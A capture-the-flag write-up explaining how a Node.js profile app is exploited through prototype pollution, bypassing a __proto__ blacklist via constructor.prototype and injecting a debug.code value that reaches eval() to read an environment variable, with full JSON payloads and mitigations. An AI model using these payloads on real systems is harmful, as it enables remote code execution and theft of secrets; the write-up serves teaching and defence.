dojo

📜 Challenge Description

Description

Use only JSON to build your hacker profile. The developer claims their application is fully secure. Prove them wrong by reading the flag.txt file on the server.

~ The flag can be found in the enviroment variable: FLAG

Link to the challenge :

🕵️ Proof of Concept

We are dealing here with a NodeJS application. The idea is that a user can send data in JSON format containing information about their profile. The application includes a WAF that blacklists the __proto__ character string.

I. Source Code Analysis

General Analysis

We immediately notice that the user data goes through the JSON.parse() function. This, along with the fact that the word __proto__ is blacklisted, clearly suggests that we will need to exploit a prototype pollution vulnerability.

profile = JSON.parse(profile)

Code analysis and analysis of our goal

We know from the challenge description that we need to read an environment variable, so we need to achieve code execution. Therefore, we must find a potential entry point to reach this objective. There is indeed one, and it is located in this portion of the code:

At the beginning of the code, we can see the Appconfig object defined with two properties:

appConfig = {
    title: "Hacker Profile",
    author: "Minilucker"
}

The code below converts all the property values of the user object (i.e. the properties from our user input) into strings using the toString() function, and when the property is "lastviewed", it is also converted to a string but using a different function: toLocaleString().

try {
    Object.keys(user).forEach((key) => {
        if (key === "lastViewed") {
            user[key] = user[key].toLocaleString().split('GMT')[0]
        } else {
            user[key] = user[key].toString()
        }
    })
    console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user, error: undefined, logs: "" }))
    
} catch (error) {
    if (appConfig.debug && appConfig.debug.active === true) {
        const logs = eval(`${appConfig.debug.code}`)
        console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user: undefined, error, logs }))
    }
    else {
        console.log(ejs.render(fs.readFileSync('index.ejs', 'utf-8'), { error, user:undefined, logs: undefined }))
    }
}

What immediately stands out is that when an error occurs, if the debug function of the app.Config object exists and its active property is set to true, the application will use the eval() function with the value of the code property from debug as input. As everyone knows, the eval() function allows code execution :)

Our two objectives in order to achieve code execution are therefore the following:

  • Trigger an error to reach the error-handling section that manages debugging.
  • Activate debug mode with appConfig.debug && appConfig.debug.active === true and assign a value to appConfig.debug.code in order to execute code.

All of this must be done potentially through a prototype pollution.

II. Prototype Pollution exploitation

1) WAF Bypass

The first step to performing a prototype pollution is accessing an object’s prototype using the key __proto__. However, this string is blacklisted here. With some research, we can find that it’s possible to access the prototype using the following keys (in JSON format):

{
    "constructor": {
        "prototype": {
            "foo": "bar",
            "json spaces": 10
        }
    }
}

2) Pollution and Triggering an Error

We’re going to try polluting a function to check if our assumptions are correct—let’s try to pollute toLocaleString(), which doesn’t seem to have been used randomly, with :

{
        "username": "b4n3",
        "lastViewed":"a",       
        "constructor": {
            "prototype": {
                "toLocaleString":"polluted"
                }
         }
}

Bingo! Not only are we able to pollute successfully, but since the toLocaleString() function is called and processed through other functions—and we’ve overwritten it as a simple property with a value—it triggers an error :

2) Code execution

Now that we’ve successfully triggered an error and polluted the prototype, all we need to do is assign the debug properties to the prototype. This way, all objects will inherit these properties—including our appConfig object—which will allow us to execute code.

We’ll therefore perform the pollution at the same level as toLocaleString() in our JSON structure, and set the values for the debug function as follows:

{
        "username": "b4n3",
        "lastViewed":"a",       
        "constructor": {
            "prototype": {
                "toLocaleString":"polluted",
	                "debug":{
	                "active":true,
	                "code":"1+1"
	                }
                }
         }
}

Result :

And we’ve done it! We can see that our code is successfully executed! 🎉 All that’s left is to read the environment variable using : process.env.FLAG And here is the final payload:

{
        "username": "b4n3",
        "lastViewed":"a",       
        "constructor": {
            "prototype": {
                "toLocaleString":"polluted",
	                "debug":{
	                "active":true,
	            "code":"process.env.FLAG"
	                }
                }
         }
}

The flag : FLAG{$m4ll_m1st4ke_t0_rcE!}

🚧 Impacts

With prototype pollution, an attacker might control the default values of an object’s properties. This allows the attacker to tamper with the logic of the application and can also lead to denial of service or, in extreme cases, remote code execution.

🔐 Mitigations

  • Update dependencies: this is general advice for all security issues, but particularly important here, as the vulnerability is often introduced by third-party components.
  • Strictly control parameters: using a whitelist of expected values can help prevent problems, including massive assignments.
  • Use Object.freeze(): this function prevents any modification to the object on which it is called, which helps prevent pollution.
  • Manipulating the prototype: another solution is to set the prototype to null, like this: Object.create(null)

📚 References